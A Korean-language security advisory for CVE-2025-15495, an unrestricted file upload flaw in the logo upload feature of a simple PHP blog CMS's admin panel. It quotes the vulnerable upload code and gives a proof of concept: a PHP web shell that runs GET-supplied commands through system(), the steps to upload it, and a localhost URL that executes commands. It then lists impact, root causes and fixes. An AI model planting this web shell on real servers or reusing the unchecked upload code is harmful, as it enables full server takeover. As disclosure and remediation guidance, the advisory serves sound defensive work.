CVE-2025-15495 - 임의 파일 업로드로 인한 원격 코드 실행 (RCE)

제품

BiggiDroid – 간단한 PHP 블로그 CMS 제품 페이지: https://biggidroid.com/product/simple-php-blog/

취약점 유형

• 임의 파일 업로드
• 무제한 파일 업로드
• 원격 코드 실행 (RCE)

심각도

치명적

CVSS (추정): 9.8 (AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H)

요약

Simple PHP Blog CMS에는 관리자 패널의 사이트 로고 업로드 기능에 무제한 파일 업로드 취약점이 존재합니다. 인증된 공격자는 이미지로 위장한 악성 PHP 파일을 업로드할 수 있으며, 이 파일은 웹 접근 가능 디렉토리에 저장되어 서버에 의해 실행되어 원격 명령 실행으로 이어집니다.

영향을 받는 구성 요소

관리자 패널 → 사이트 로고 업데이트

관련 취약 코드 스니펫:

$target = "../image/".basename($_FILES['image']['name']);
$image = $_FILES['image']['name'];

$query = mysqli_query($con,
"UPDATE sitedetails SET sitelogo='$image' WHERE id='$id'");

if (move_uploaded_file($_FILES['image']['tmp_name'], $target)) {
    // success
}

문제점

• 파일 확장자 검증 없음
• MIME 유형 검증 없음
• 서버 측 파일 내용 검사 없음

개념 증명 (PoC)

악성 PHP 파일 생성

shell.php라는 파일 생성:

<?php
$cmd = $_GET['cmd'] ?? '';
echo "<pre>";
system($cmd);
echo "</pre>";
?>

관리자 패널을 통해 파일 업로드

• 관리자 패널에 로그인
• 사이트 로고 → 로고 업데이트로 이동
• 로고 파일로 shell.php 업로드
• 양식 제출

📌 애플리케이션이 검증 없이 PHP 파일을 수락합니다

업로드된 웹 셸 접근

업로드 후, 파일은 다음에서 접근 가능합니다:

http://127.0.0.1/image/shell.php

시스템 명령 실행:

http://127.0.0.1/image/shell.php?cmd=dir

성공적인 명령 실행

서버가 OS 명령을 실행하고 출력을 반환하여 원격 코드 실행을 확인합니다.

개념 증명

1. 제품 페이지
2. 이 위치에서 셸 업로드
3. 셸 PHP
4. 원격 코드 실행
5. 취약 코드

영향

• 임의의 OS 명령 실행
• 민감한 구성 파일 읽기
• 애플리케이션 데이터 수정 또는 삭제
• 지속적인 백도어 업로드
• 호스팅 서버 완전 장악

이 취약점은 완전한 서버 장악으로 이어질 수 있습니다.

근본 원인 분석

• 파일 확장자 화이트리스트 누락
• MIME 유형 강제 없음
• 사용자 제공 파일명 직접 사용
• 업로드 디렉토리에서 PHP 실행 허용
• .htaccess / 서버 강화 없음

✅ 권장 수정 사항

1. 파일 확장자 제한

   root@kitploit:~

   $allowed = ['jpg','jpeg','png','gif'];
   

2. MIME 유형 검증

   root@kitploit:~

   finfo_file()
   

3. 업로드된 파일 이름 변경

   • 무작위 UUID 사용
   • 사용자 파일명 절대 신뢰하지 않음

📚 참고 자료

• OWASP 무제한 파일 업로드
• CWE-434: Unrestricted Upload of File with Dangerous Type
• OWASP Top 10 – A03: Injection

🧑‍💻 발견자

• Mo Asim (일명 Asim Qazi)
• Github: @Asim-Qazi
• Linkedin: Asim Qazi
• 학생 | 보안 연구원